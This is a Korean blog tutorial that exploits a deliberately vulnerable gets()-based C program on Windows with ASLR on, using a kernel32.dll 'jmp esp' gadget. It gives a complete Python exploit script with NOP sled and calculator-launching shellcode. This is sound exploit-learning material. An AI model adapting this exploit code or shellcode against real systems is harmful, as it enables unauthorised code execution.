ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Windows BOF (ASLR)
    Hack/Windows 2016. 6. 1. 04:00

    쉘코드를 이용해서 오버플로우를 통해 계산기를 띄워보는거까지 올렸었었는데, 그땐 DEP,ASLR,SEH등 옵션이 꺼져있었어요


    하지만 이번에는 ASLR옵션을 켜고 익스플로잇을 진행해볼거에요


    ASLR을 키게되면, 스택주소와 바이너리의 주소들이 랜덤으로 맵핑되는데, 이때 익스플로잇을 어떻게해야할지 의문일거에요


    #include <stdio.h>
    
    
    int main(int argc, char *argv[])
    {
        char buf[256];
        gets(buf);
        printf("%s\n", buf);
    }



    코드자체는 진짜 단순한 오버플로우문제와같이 gets 에서 터지는 바이너리에요 


    BUF + EBP + EIP 이렇게 될거니까 대충 코드를 생각해보자면


    "A"*260 + ABCD 로 EIP를 컨트롤 할 수 있겠죠


    그럼 이제 ASLR을 생각해보면되요 리눅스에서 포너블을 해보셨던분이라면 jmp esp(ffe4) 가젯이 떠오르실거에요. 윈도우도 리눅스와 동일해요 


    근데 바이너리내에 jmp esp가 없을때가 수많을거에요.. 그럼 가젯을 못구하냐? 아니에요!


    윈도우는 아주 착하게도 바이너리가 로딩될때 함수는 kernel32.dll과 같은 라이브러리를 함께 로딩하기때문에 원하는 라이브러리를 아무거나 잡아서 가젯을 구해주면되요

    저는 kernel32.dll에서 구해볼게요 



    올리디버거 창을 보면 저렇게 파란색으로 영어 알파벳들이 써져있는데 각자 기능이 있어요 


    제가 써볼 기능은 E 기능인데, Excutable Module 의 약자로, 이 바이너리가 실행되면서 같이 로딩되는 라이브러리들을 보여줘요



    kernel32.dll 을 더블클릭하면 kernel32.dll로 이동될거에요




    kernel32.dll로 접근을했어요. 일단 라이브러리같은경우는 재부팅한다면 맵핑되는 주소가 달라지겠지만 재부팅하지않는다면 맵핑되는 주소는 똑같기때문에 라이브러리를 이용할수있어요


    그럼 CTRL+F기능을 이용해서 jmp esp가젯을 찾아볼게요




    jmp esp 가젯을 찾았어요 


    JMP ESP : 0x753D310E


    그럼 이제 익스플로잇 코드를 작성해주면 되겠네요



    import struct from subprocess import * p = lambda x:struct.pack("<L",x) up = lambda x:struct.unpack("<L",x) filename = "reader.exe" shellcode = "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a\x1c\x39\xbd" proc = Popen(filename, stdin=PIPE ) payload = "\x90"*260 payload += p(0x753d310e) payload += "\x90"*30 payload += shellcode print payload proc.stdin.write(payload)

    쉘코드를넣어줬고 jmp esp 가젯을 넣어줬으니 NOP을 쭉 타다가 쉘코드를 만나고 계산기가 실행되겠네요!





    ASLR 걸려있어도 별거아니죠?! DEP랑 같이 걸려있으면 고생좀 하겠지만.. 어차피 기법은 하나하나 배워가는거니까 홧팅

    'Hack > Windows' 카테고리의 다른 글

    SEH Overwrite  (0) 2016.06.01
    SEH(Structured Exception Handling)  (0) 2016.06.01
    Windows Calc Shellcode  (0) 2016.06.01
    Windows BOF Exploit with Shellcode  (0) 2016.05.27
    Windows Shellcode 에러  (0) 2016.05.27

    댓글

Designed by Tistory.